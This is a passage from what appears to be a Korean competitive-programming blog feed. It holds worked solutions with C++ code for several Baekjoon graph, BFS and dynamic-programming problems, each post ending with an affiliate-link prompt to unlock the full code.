정점에서 각 출구로 갈 수 있는 최단 경로를 구한 후, 열리는 타이밍에 맞춰 나갈 수 있는 최소 시간을 구하자. $KX$초 단위로 출구가 도는게 로테이션 돌고, 이분탐색으로 그 타이밍을 찾은 후 그 블럭에서 나갈 수 있는지, 그 다음블럭에서 나갈 수 있는지 체크하면 될 것 같다. 💻 풀이 코드 (C++): void solve(){ ll N, M, K; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M \u0026gt;\u0026gt; K; vector\u0026lt;vector\u0026lt;pll\u0026gt;\u0026gt; links(N+1); rep(i, 0, M){ ll u, v, w; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v \u0026gt;\u0026gt; w; links[u].push_back({v, w}); links[v].push_back({u, w}); } vector\u0026lt;ll\u0026gt; dist(N+1, LLONG_MAX); priority_queue\u0026lt;pll, vector\u0026lt;pll\u0026gt;, greater\u0026lt;pll\u0026gt;\u0026gt; pq; dist[1] = 0; pq.push({0, 1}); while(!pq.empty()){ auto [cd, cur] = pq.top(); pq.pop(); if(dist[cur] \u0026lt; cd) continue; for(auto [nxt, w]: links[cur]){ ll nd = cd + w; if(nd \u0026lt; dist[nxt]){ dist[nxt] = nd; pq.push({nd, nxt}); } } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-17T00:00:00Z","permalink":"/posts/algorithm/ps/260217_algorithm_boj-32655-%EC%B6%9C%EA%B5%AC%EA%B0%80-%EB%B0%94%EB%80%8C%EB%8A%94-%EB%AF%B8%EA%B6%81/","title":"BOJ 32655 출구가 바뀌는 미궁"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/33527 🧐 관찰 및 접근 뭔가 전반적으로 세팅이 BOJ 5214 환승이 생각나는 것 같기도? 나이브하게 돈다면, 각 노선에 있을 수 있는 최대 정류장 수가 10만개니까, 이걸 다 돌기 시작하면 상당히 막막해진다. 그림을 그려서 어떤 상황인지 더 잘 판단해보자. 일단 예제 1번은 이런데, 흠. 확실히 정류장보단 노선 단위로 어떻게 잘 보고싶긴 하다. 노선은 총 $5 \\times X = 500$개이다. 이때, 노선의 환승 각 정류장 $N$개마다 $\\binom{5}{2}$ 개이므로 최대 $100\\,000 \\times = 1\\,000\\,000$개인 것 같다. 중복도 제거할수도 있고. 아? 이게 노선이 충분히 적으니, 플로이드 워셜이 가능해보인다. 쿼리는 정점에 대해 들어오니, $U_i, V_i$가 각각 5개 노선에 속하는 경우 25가지에 대해 노선으로 계산하면 될 것 같다. 💻 풀이 코드 (C++): void solve(){ int N, X; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; X; vector\u0026lt;array\u0026lt;int, 5\u0026gt;\u0026gt; bus(N); rep(i, 0, N) rep(j, 0, 5) cin \u0026gt;\u0026gt; bus[i][j]; auto toIdx = [\u0026amp;](pii p){ return p.first*X + (p.second - 1); }; vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; dist(5*X, vector\u0026lt;int\u0026gt;(5*X, 1e9)); rep(i, 0, 5*X) dist[i][i] = 0; rep(i, 0, N) rep(j, 0, 5) rep(k, j+1, 5){ int u = toIdx({j, bus[i][j]}), v = toIdx({k, bus[i][k]}); dist[u][v] = dist[v][u] = 1; } rep(k, 0, 5*X) rep(i, 0, 5*X) rep(j, 0, 5*X) dist[i][j] = min(dist[i][j], dist[i][k] + dist[k][j]); int Q; cin \u0026gt;\u0026gt; Q; while(Q--){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; int ans = 1e9; rep(i, 0, 5) rep(j, 0, 5){ int idx_u = toIdx({i, bus[u-1][i]}), idx_v = toIdx({j, bus[v-1][j]}); ans = min(ans, dist[idx_u][idx_v]); } cout \u0026lt;\u0026lt; (ans == 1e9 ? -1 : ans+1) \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-17T00:00:00Z","permalink":"/posts/algorithm/ps/260217_algorithm_boj-33527-%EC%8B%A0%EC%B4%8C-%EA%B8%B8%EC%B0%BE%EA%B8%B0-%EC%84%9C%EB%B9%84%EC%8A%A4/","title":"BOJ 33527 신촌 길찾기 서비스"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/5925 🧐 관찰 및 접근 X로 그려지는 영역이 3개가 있고, 최소한의 비용으로 이들을 연결해야한다. 멀티 소스 BFS와 같은 맛으로 가능할 것 같다. 3개니까 전수조사 해도 되겠지. 아, 근데 좀 사고인 경우가 있구나. ..... ..X.. .X.X. ..... 위와 같은 경우에, 하나만으로도 칠할 수 있는 것 같다. 위와 같은 경우에, 세 그룹이 한 정점에서 무조건 모이게 된다. 따라서 빈 정점을 잡고, 거기서 세 그룹까지의 최단경로를 이용하자. 💻 풀이 코드 (C++): void solve(){ int N, M; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; vector\u0026lt;string\u0026gt; S(N); rep(i, 0, N) cin \u0026gt;\u0026gt; S[i]; vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; board(N, vector\u0026lt;int\u0026gt;(M)); int color = 0; rep(i, 0, N) rep(j, 0, M) { if(S[i][j] == \u0026#39;X\u0026#39; \u0026amp;\u0026amp; board[i][j] == 0){ queue\u0026lt;pii\u0026gt; Q; Q.push({i, j}); board[i][j] = ++color; while(!Q.empty()){ auto [cx, cy] = Q.front(); Q.pop(); rep(d, 0, 4){ int nx = cx + dx[d]; int ny = cy + dy[d]; if(nx \u0026lt; 0 || nx \u0026gt;= N || ny \u0026lt; 0 || ny \u0026gt;= M) continue; if(S[nx][ny] == \u0026#39;X\u0026#39; \u0026amp;\u0026amp; board[nx][ny] == 0){ board[nx][ny] = color; Q.push({nx, ny}); } } } } } vector\u0026lt;ll\u0026gt; dists; auto getDist = [\u0026amp;](int c1, int c2) -\u0026gt; ll { vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; dist(N, vector\u0026lt;int\u0026gt;(M, -1)); queue\u0026lt;pii\u0026gt; Q; rep(i, 0, N) rep(j, 0, M){ if(board[i][j] == c1){ dist[i][j] = 0; Q.push({i, j}); } } while(!Q.empty()){ auto [cx, cy] = Q.front(); Q.pop(); rep(d, 0, 4){ int nx = cx + dx[d]; int ny = cy + dy[d]; if(nx \u0026lt; 0 || nx \u0026gt;= N || ny \u0026lt; 0 || ny \u0026gt;= M) continue; if(board[nx][ny] == c2){ return dist[cx][cy]; } if(board[nx][ny] == 0 \u0026amp;\u0026amp; dist[nx][ny] == -1){ dist[nx][ny] = dist[cx][cy] + 1; Q.push({nx, ny}); } } } return (ll)1e18; }; rep(i, 1, 4) rep(j, i+1, 4) dists.push_back(getDist(i, j)); sort(all(dists)); ll ans = dists[0] + dists[1]; auto getDist2 = [\u0026amp;](int cx, int cy, int c) -\u0026gt; ll { vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; dist(N, vector\u0026lt;int\u0026gt;(M, -1)); queue\u0026lt;pii\u0026gt; Q; dist[cx][cy] = 0; Q.push({cx, cy}); while(!Q.empty()){ auto [x, y] = Q.front(); Q.pop(); rep(d, 0, 4){ int nx = x + dx[d]; int ny = y + dy[d]; if(nx \u0026lt; 0 || nx \u0026gt;= N || ny \u0026lt; 0 || ny \u0026gt;= M) continue; if(board[nx][ny] == c){ return dist[x][y]; } if(board[nx][ny] == 0 \u0026amp;\u0026amp; dist[nx][ny] == -1){ dist[nx][ny] = dist[x][y] + 1; Q.push({nx, ny}); } } } return (ll)1e18; }; rep(i, 0, N) rep(j, 0, M) if(board[i][j] == 0){ ans = min(ans, getDist2(i, j, 1) + getDist2(i, j, 2) + getDist2(i, j, 3) + 1); } cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-17T00:00:00Z","permalink":"/posts/algorithm/ps/260217_algorithm_boj-5925-cow-beauty-pageant/","title":"BOJ 5925 Cow Beauty Pageant"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/7562 🧐 관찰 및 접근 가중치가 없으니, 간단한 BFS로 풀릴 것 같다. 시간복잡도는 $O(V + E) \\approx O(N^2)$이다. 💻 풀이 코드 (C++): void solve(){ int dx[8] = {-2, -2, -1, -1, 1, 1, 2, 2}; int dy[8] = {-1, 1, -2, 2, -2, 2, -1, 1}; int N; cin \u0026gt;\u0026gt; N; vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; board(N, vector\u0026lt;int\u0026gt;(N, -1)); int sx, sy, ex, ey; cin \u0026gt;\u0026gt; sx \u0026gt;\u0026gt; sy \u0026gt;\u0026gt; ex \u0026gt;\u0026gt; ey; queue\u0026lt;pii\u0026gt; q; q.push({sx, sy}); board[sx][sy] = 0; while(!q.empty()){ auto [cx, cy] = q.front(); q.pop(); if(cx == ex \u0026amp;\u0026amp; cy == ey){ cout \u0026lt;\u0026lt; board[cx][cy] \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; return; } rep(d, 0, 8){ int nx = cx + dx[d]; int ny = cy + dy[d]; if(nx \u0026lt; 0 || nx \u0026gt;= N || ny \u0026lt; 0 || ny \u0026gt;= N) continue; if(board[nx][ny] == -1){ board[nx][ny] = board[cx][cy] + 1; q.push({nx, ny}); } } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-17T00:00:00Z","permalink":"/posts/algorithm/ps/260217_algorithm_boj-7562-%EB%82%98%EC%9D%B4%ED%8A%B8%EC%9D%98-%EC%9D%B4%EB%8F%99/","title":"BOJ 7562 나이트의 이동"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/24945 🧐 관찰 및 접근 서브태스크가 상당히 많고, 문제가 쉽지 않아보인다. 차근차근 해보자. $N = 3$ 브루트포스에 가깝게 풀 수 있을 것 같다. 문자는 어차피 최대 3개 존재하므로, 3개에 대해 $X$가 가질 수 있는 경우의 수 $3^3$가지, $Y$가 가질 수 있는 경우 $3^3$가지를 전이하면서 다익스트라로 풀 수 있을 것 같다. ㅇㅋ 된당 $S_i = a$ 모든 문자가 a라면? $X$에 들어있는 문자 개수, $Y$에 들어있는 문자 개수 두가지를 이용해서 $N^2$ 정점 다익스트라가 가능해보인다. $N \\leq 30$ 이제부터 진짜로 어떻게풀어야하는지 고민해봐야할 것 같은데\u0026hellip; 일단 복사할 문자 $Y$는 $X$의 substr이어야할 것이다. 그럼 $Y$가 될 수 있는 경우의수는 $O(N^2)$이고 $X$를 만들때든, $Y$를 만들기위해 빌드업하고 있을때든 결국 $X$도 $X$의 substr로 존재해야한다. 이것도 경우의수가 $O(N^2)$ 인 것 같다. $Y$를 붙일 수 있는지 검사하는? 그런것들이 전처리를 안하면 $O(N)$쯤 되어보이니, 아마 종합해서 $O(N^5)$정도로 풀 수 있지 않나? 근데 DP 전이식이 헷갈린다. 이게 상호 참조가 없나? 비용들이 달라서 다익으로 해야될 것 같은데. $\\text{DP}[x][y]$: 현재 $X$에 $x$, $Y$에 $y$가 들어있다고 하자. $A$ 연산을 거치면 $x$에 한개가 붙고, $y$는 그대로다. $B$ 연산을 거치면 $x$가 빈 문자열이 되고, $y$는 $x$의 값으로 갱신된다. $C$연산을 거치면 $x = x + y$가 되고, $y$는 그대로다. 아하, 생각보다 $y$가 갱신될일이 없다. 그리고 $y$가 갱신된다면 $x$가 빈 문자열이 된 상태에서 시작한다! 복사하고 붙여넣는 과정을 그냥 해버렸다고 생각하는게 더 쉬울 것 같다. $\\text{DP}[i][j]$ : $S_i$~$S_j$까지 만드는 최소비용이라고 하자. 이건 $\\text{DP}[i][j-1]$ 후 $A$연산을 하거나 어떤 $i \\leq i', j' \\leq j$가 있어서 그친구를 복사한 후 붙여넣기를 여러번 하거나. 이건 그리디하게 되는듯? 한번 짜보자. 오!!! 이걸로 대충 $30^5$정도는 성공했다! $N \\leq 200$ 이제 $O(N^4)$는 16억이니 빡세고, $O(N^3\\log{N})$쯤 까지는 줄여야하는데\u0026hellip; 섭태 5는 세제곱, 섭태 6은 제곱로그겠다. 음, 위에서 했던 관찰대로 $Y$에 복사해서 넣으면 $X$는 초기화돼서 시작하므로, DP를 $B$연산으로 $Y$에 복사한거까지 했을 때를 기준으로 하자. 젤 중요한거는 저 그리디하게 비교하면서 뒤로 슝슝슝 가는 파트인 것 같다. 💻 풀이 코드 (C++): void solve(){ cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; S \u0026gt;\u0026gt; A \u0026gt;\u0026gt; B \u0026gt;\u0026gt; C; if(N \u0026gt;= mxN) { cout \u0026lt;\u0026lt; -1 \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; return; } rep(i, 0, N+1) rep(j, 0, N+1) DP[i][j] = LLONG_MAX; rep(i, 0, N+1) rep(j, i+1, N+1) DP[i][j] = A * (j-i) + B; const mint base = 131; const mint2 base2 = 137; vector\u0026lt;mint\u0026gt; hsh(N+1), pw(N+1); vector\u0026lt;mint2\u0026gt; hsh2(N+1), pw2(N+1); hsh[0] = 0; pw[0] = 1; hsh2[0] = 0; pw2[0] = 1; rep(i, 0, N){ hsh[i+1] = hsh[i] * base + S[i]; pw[i+1] = pw[i] * base; hsh2[i+1] = hsh2[i] * base2 + S[i]; pw2[i+1] = pw2[i] * base2; } auto getHash = [\u0026amp;](int l, int r) -\u0026gt; pair\u0026lt;ll, ll\u0026gt;{ ll ret1 = (hsh[r] - hsh[l] * pw[r-l]).get(); ll ret2 = (hsh2[r] - hsh2[l] * pw2[r-l]).get(); return {ret1, ret2}; }; ll ans = N*A; rep(L, 1, N+1){ // A 연산 앞뒤에 붙여서 전이할 때 if(L \u0026gt;= 2) rep(s, 0, N){ if(s+L \u0026gt; N) break; int e = s+L; DP[s][e] = min(DP[s][e], DP[s+1][e]+A); DP[s][e] = min(DP[s][e], DP[s][e-1]+A); } // 해당 문자열을 복사하는 최소 비용 map\u0026lt;pair\u0026lt;ll,ll\u0026gt;, vector\u0026lt;int\u0026gt;\u0026gt; mp; rep(s, 0, N){ if(s+L \u0026gt; N) break; int e = s+L; mp[getHash(s, e)].push_back(s); } // 복사 연산으로 전이 for(auto\u0026amp; [_, v]: mp){ int sz = v.size(); ll mn = 1e18; for(auto s: v) mn = min(mn, DP[s][s+L]); // 다음에 갈 수 있는 위치 vector\u0026lt;int\u0026gt; nxt(sz, sz); for(int i = 0, j = 0; i \u0026lt; sz; i++){ while(j \u0026lt; sz \u0026amp;\u0026amp; v[j] \u0026lt; v[i]+L) j++; nxt[i] = j; } rep(i, 0, sz){ int s_pos = v[i]; int cidx = i; int cnt = 0; while(cidx \u0026lt; sz){ cnt++; int e_pos = v[cidx]+L; if(e_pos \u0026gt; N) break; DP[s_pos][e_pos] = min(DP[s_pos][e_pos], mn + (C * cnt) + ((e_pos - s_pos) - (L * cnt)) * A + B); cidx = nxt[cidx]; } } } } ans = min(ans, DP[0][N] - B); cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-16T00:00:00Z","permalink":"/posts/algorithm/ps/260216_algorithm_boj-24945-copy-ans-paste-3/","title":"BOJ 24945 Copy ans Paste 3"},{"content":"w## 📝 문제 정보\n링크: https://www.acmicpc.net/problem/10044 번역 문제 JOI 군은 점심으로 중화요리집에서 샤오롱바오를 먹기로 했다. 샤오롱바오는 속재료와 뜨거운 국물을 밀가루 피로 싼 요리로, 먹을 때 국물이 주위로 튀는 것으로 알려져 있다.\nJOI 군이 주문한 샤오롱바오 세트는 속재료나 국물이 다른 N개의 샤오롱바오로 이루어져 있다. N개의 샤오롱바오는 등간격으로 일렬로 놓여 있으며, 순서대로 1부터 N까지 번호가 매겨져 있다. i번째 샤오롱바오와 j번째 샤오롱바오 사이의 거리는 절댓값 |i - j|이다.\nJOI 군은 샤오롱바오를 어떤 순서로 먹어나간다. 처음에 모든 샤오롱바오의 맛있음은 0이다. i번째 샤오롱바오를 먹으면, 주위로 그 국물이 튀어서, 아직 먹지 않은 샤오롱바오 중에서 샤오롱바오 i로부터의 거리가 $D_i$ 이하인 샤오롱바오에 국물이 묻는다. 국물이 묻은 샤오롱바오는 맛있음이 $A_i$만큼 증가한다. 즉, i번째 샤오롱바오를 먹었을 때, j번째 샤오롱바오 ($1 \\leq j \\leq N$ 이고 $i - D_i \\leq j \\leq i + D_i$)가 아직 먹지 않고 남아있다면, j번째 샤오롱바오의 맛있음이 $A_i$만큼 증가한다.\nJOI 군은 먹는 순서를 잘 정해서, 먹는 샤오롱바오의 맛있음의 합계를 최대화하고 싶다. 가장 좋은 순서로 먹었을 때, JOI 군이 먹는 샤오롱바오의 맛있음의 합계를 구하는 프로그램을 작성하시오.\n입력 입력 파일은 3행으로 이루어진다.\n1행에는 정수 N ($1 \\leq N \\leq 100$)이 주어진다. 2행에는 N개의 정수 $D_1, D_2, \\ldots, D_N$ ($0 \\leq D_i \\leq 7$)이 공백으로 구분되어 주어진다. 3행에는 N개의 정수 $A_1, A_2, \\ldots, A_N$ ($0 \\leq A_i \\leq 1000$)이 공백으로 구분되어 주어진다. 출력 JOI 군이 먹는 샤오롱바오의 맛있음의 합계의 최댓값을 1행으로 출력하시오.\n🧐 관찰 및 접근 생각보다 $N$도 작고, $D$는 더욱 작다. 뭔가 삘이 왔다. 지금 보고있는걸 먹을때 $D!$가지 경우의 수를 체크하는걸수도 있지 않을까? ㅁㄹ?? 되는지 모르겠네 짜봐야지 아이디어는 쉬운데 짜는게 되게 어려웠네;;; 💻 풀이 코드 (C++): void solve(){ cin \u0026gt;\u0026gt; N; rep(i, 0, N) cin \u0026gt;\u0026gt; D[i]; rep(i, 0, N) cin \u0026gt;\u0026gt; A[i]; map\u0026lt;vector\u0026lt;int\u0026gt;, int\u0026gt; perm_to_idx; vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; idx_to_perm; vector\u0026lt;int\u0026gt; v; rep(i, 0, min(N, 7)) v.push_back(i); do{ int tmp = 0; vector\u0026lt;int\u0026gt; used(min(N, 7), false); for(auto x: v){ used[x] = true; rep(i, 0, min(N, 7)) if(!used[i] \u0026amp;\u0026amp; abs(i - x) \u0026lt;= D[x]) tmp += A[x]; } perm_to_idx[v] = idx_to_perm.size(); idx_to_perm.push_back(v); DP[min(N, 7)-1][perm_to_idx[v]] = tmp; }while(next_permutation(all(v))); if(N \u0026lt; 7){ int ans = 0; rep(j, 0, idx_to_perm.size()) ans = max(ans, DP[N-1][j]); cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; return; } rep(j, 0, 5040) rep(pos, 0, 8){ vector\u0026lt;int\u0026gt; c_perm = idx_to_perm[j]; vector\u0026lt;int\u0026gt; n_perm; rep(idx, 0, 7){ if(idx == pos) n_perm.push_back(7); n_perm.push_back(c_perm[idx]); } if(pos == 7) n_perm.push_back(7); vector\u0026lt;int\u0026gt; nn_perm; rep(idx, 0, 8) if(n_perm[idx] != 0) nn_perm.push_back(n_perm[idx]-1); int n_idx = perm_to_idx[nn_perm]; nperm[j][pos] = n_perm; nperm_idx[j][pos] = n_idx; } rep(i, 7, N) rep(j, 0, 5040) { vector\u0026lt;int\u0026gt; c_perm = idx_to_perm[j]; rep(pos, 0, 8){ // 만두 i를 언제 먹을것인가? vector\u0026lt;int\u0026gt; n_perm = nperm[j][pos]; // 만두 i를 고려할 때 추가되는 값 int tmp = 0; rep(idx, pos+1, 8){ int p = i - 7 + n_perm[idx]; if(abs(p-i) \u0026lt;= D[i]) tmp += A[i]; } rep(idx, 0, pos){ int p = i - 7 + n_perm[idx]; if(abs(p-i) \u0026lt;= D[p]) tmp += A[p]; } int n_idx = nperm_idx[j][pos]; DP[i][n_idx] = max(DP[i][n_idx], DP[i-1][j] + tmp); } } int ans = 0; rep(j, 0, 5040) ans = max(ans, DP[N-1][j]); cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-13T00:00:00Z","permalink":"/posts/algorithm/ps/260213_algorithm_boj-10044-%E5%B0%8F%E7%B1%A0%E5%8C%85-xiao-long-bao/","title":"BOJ 10044 小籠包 (Xiao Long Bao)"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/27844 번역 문제 번역 $N$개의 목초지가 있고 ($2 \\le N \\le 2\\cdot 10^5$), $N-1$개의 도로로 연결되어 트리를 형성합니다. 모든 도로를 건너는 데 1초가 걸립니다. 각 목초지는 처음에 풀이 0개이고, $i$번째 목초지의 풀은 초당 $a_i$ ($1\\le a_i\\le 10^8$) 단위의 속도로 자랍니다. Farmer John은 처음에 목초지 1에 있으며, 모든 목초지의 풀에 비료를 주기 위해 돌아다녀야 합니다. 그가 $x$ 단위의 풀이 있는 목초지를 방문하면, $x$만큼의 비료가 필요합니다. 목초지는 처음 방문할 때만 비료를 주면 되고, 비료를 주는 데는 시간이 걸리지 않습니다.\n입력에는 추가 매개변수 $T\\in {0,1}$가 포함됩니다.\n$T=0$이면, Farmer John은 목초지 1에서 끝나야 합니다. $T=1$이면, Farmer John은 아무 목초지에서나 끝낼 수 있습니다. 모든 목초지에 비료를 주는 데 걸리는 최소 시간과 그 시간에 끝내는 데 필요한 최소 비료량을 계산하세요.\n입력 첫 번째 줄에 $N$과 $T$가 주어집니다.\n그 다음 $i$가 $2$부터 $N$까지 각각에 대해, $p_i$와 $a_i$를 포함하는 줄이 주어집니다. 이는 목초지 $p_i$와 $i$를 연결하는 도로가 있다는 의미입니다. $1\\le p_i","date":"2026-02-13T00:00:00Z","permalink":"/posts/algorithm/ps/260213_algorithm_boj-27844-fertilizing-pastures/","title":"BOJ 27844 Fertilizing Pastures"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/10108 번역 문제 당신은 간식을 좋아하는 애완용 여우를 키우고 있습니다. 서로 다른 위치(데카르트 평면 위의 점으로 표현됨)에 N명의 이웃이 있으며, 각 이웃은 당신의 애완 여우에게 간식을 나눠줍니다. 각 이웃은 무제한으로 간식을 줄 수 있습니다. 원점(여우가 시작하는 위치)은 이 N개의 위치 중 하나가 아닙니다.\n여우가 이 간식들을 얻기 위해 무슨 소리를 낼까요? 좋은 질문이지만, 우리의 관심사는 아닙니다.\n여우는 각 위치를 방문할 때마다 정확히 하나의 간식을 얻기 위해 위치에서 위치로 이동합니다. 여우는 이전 위치를 다시 방문할 수 있지만, 연속된 두 번의 방문에서 같은 위치를 방문할 수 없습니다.\n당신의 여우는 매우 게으릅니다. 각 간식을 얻은 후 여우가 이동하려는 거리는 엄격하게 감소합니다. 구체적으로, 원점에서 첫 번째 간식 위치까지의 거리는 첫 번째 간식 위치에서 두 번째 간식 위치까지의 거리보다 커야 하며, 이는 다시 두 번째 간식 위치에서 세 번째 간식 위치까지의 거리보다 커야 하고, 이런 식으로 계속됩니다.\n여우가 모을 수 있는 최대 간식의 개수는 얼마입니까?\n입력 첫 번째 줄에는 정수 N (1 ≤ N ≤ 2000)이 주어집니다. 다음 N개의 줄에는 각각 X_i, 공백, Y_i가 주어지며, i = 1..N (−10,000 ≤ X_i, Y_i ≤ 10,000)으로 i번째 위치의 좌표를 나타냅니다.\n출력 출력은 하나의 정수로, 여우가 모을 수 있는 최대 간식의 개수입니다.\n🧐 관찰 및 접근 여우가 있을 수 있는 점의 개수는 $N$개, 방금 움직인 거리의 경우의 수는 $N^2$개 존재하는 것 같다. 이걸 이용해서 DP를 세울 수 있을 것 같은데, 세제곱이네.. 어? 다시 생각해보니, 각 정점에서 신경쓸 거리는 $N$개밖에 없다! 잘만 하면 $O(N^2)$ DP가 성립할것만 같다. $\\text{DP}[i][j]$: i번 정점에서 방금 움직인 거리가 j일때 최댓값 이라고 하자. 이때 $j$는 $i$에서 이동할 수 있는 정점들에 대한 거리를 정렬해서 쓰고, 이분탐색으로 찾으면서 진행하면 $O(N^2\\log{N})$이 될 것 같다. 믿고 짜보자. 어떤 정점에 대해 거리가 같은 정점이 여러개 있을 수 있으므로 조심하자. 그래서 나는 index로 관리했다. 💻 풀이 코드 (C++): int calc(int cur, int idx){ if(idx == 0) return 1; int \u0026amp;ret = DP[cur][idx]; if(ret != -1) return ret; auto [d, nxt] = links[cur][idx-1]; int nidx = lower_bound(all(links[nxt]), make_pair(d, -1)) - links[nxt].begin(); ret = calc(cur, idx-1); ret = max(ret, 1 + calc(nxt, nidx)); return ret; } void solve(){ cin \u0026gt;\u0026gt; N; rep(i, 0, N) cin \u0026gt;\u0026gt; points[i].first \u0026gt;\u0026gt; points[i].second; rep(i, 0, N) rep(j, i+1, N){ auto [x1, y1] = points[i]; auto [x2, y2] = points[j]; double dist = sqrt((x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2)); links[i].emplace_back(dist, j); links[j].emplace_back(dist, i); } rep(i, 0, N) sort(all(links[i])); rep(i, 0, N+1) rep(j, 0, N+1) DP[i][j] = -1; int ans = 0; rep(i, 0, N){ auto [x1, y1] = points[i]; double dist = sqrt(x1 * x1 + y1 * y1); int idx = lower_bound(all(links[i]), make_pair(dist, -1)) - links[i].begin(); ans = max(ans, calc(i, idx)); } cout \u0026lt;\u0026lt; ans; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-12T00:00:00Z","permalink":"/posts/algorithm/ps/260212_algorithm_boj-10108-lazy-fox/","title":"BOJ 10108 Lazy Fox"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/12008 🧐 관찰 및 접근 흠, 결국 마지막에 사용한 모든 숫자들은 하나의 범위로 나타날 것 같다. 범위를 쪼개는 맛의 DP를 할 수 있나? $\\text{DP}[i][j]$: $i$~$j$까지의 숫자를 모두 사용해서 만들어진 수 라고 하면 $O(N^2)$의 시간이 걸린다\u0026hellip; 이런 느낌으로 $\\log$로 바운드 시킬 수 있q을까? $(1, 1, 1, 2)$ 에서 1들을 2로 묶을 수 있는 경우를 각 인덱스에 대해서 표시 $(2, 1, 2), (1, 2, 2)$ 등으로 나타내져을때, 2들을 4로 묶을 수 있는 경우에 대해 표시.. 그러니까, $(1, 1, 1, 2)$는 2로 묶었을때 다음 인덱스는 $(1, 2, -1, 3)$ 처럼 (0-based) 그러면 뒤로 계속 폴짝폴짝 뛰어다니면서 계산하면, 만들 수 있는 최대값인 58에 대해 $O(N)$번 하면 될거같기도..? 💻 풀이 코드 (C++): void solve(){ int N; cin \u0026gt;\u0026gt; N; vector\u0026lt;int\u0026gt; A(N); rep(i, 0, N) cin \u0026gt;\u0026gt; A[i]; vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; v(60, vector\u0026lt;int\u0026gt;(N+1, -1)); rep(i, 0, N) v[A[i]][i] = i; int ans = 0; rep(b, 0, 60){ rep(i, 0, N) if(v[b][i] != -1 \u0026amp;\u0026amp; v[b][v[b][i]+1] != -1) v[b+1][i] = v[b][v[b][i]+1]; rep(i, 0, N) if(v[b][i] != -1) ans = max(ans, b); } cout \u0026lt;\u0026lt; ans; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-12T00:00:00Z","permalink":"/posts/algorithm/ps/260212_algorithm_boj-12008-262144/","title":"BOJ 12008 262144"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/17227 🧐 관찰 및 접근 생각하기 쉽게, $N$번 주제인 \u0026ldquo;그팩주\u0026rdquo; 근처에서 생각해보자. 어떤 정점에서, 다음 정점 중 $N$번 정점이 있다면 준표는 화제를 그 정점으로 보내면 안된다. 만영이의 차례에서 만영이는 다음 간선중 최대한 기댓값이 높은 정점으로 가려고 한다. 그것들을 하나하나 반려해가는 맛인데.. DP식을 이런식으로 세울 수 있을까? $\\text{DP}[i][a]$ : $i$번 정점에서 $a$번사람의 턴일때 기댓값 $\\text{DP}[i][jun] = \\min\\limits_{nxt: links[i]}(\\text{DP}[nxt][man])$ $\\text{DP}[i][man] = \\min\\limits_{nxt: links[i]}(\\text{DP}[nxt][jun] + cnt)$ 예를들어 만영이가 고르 수 있는 다음 정점이 $N, i, j, k$라고 하고, 기댓값은 각각 $1e9, 10, 10, 9$라고 하자. $N$은 고르면 안되므로, 무조건 반려한다. 그러면 만영이는 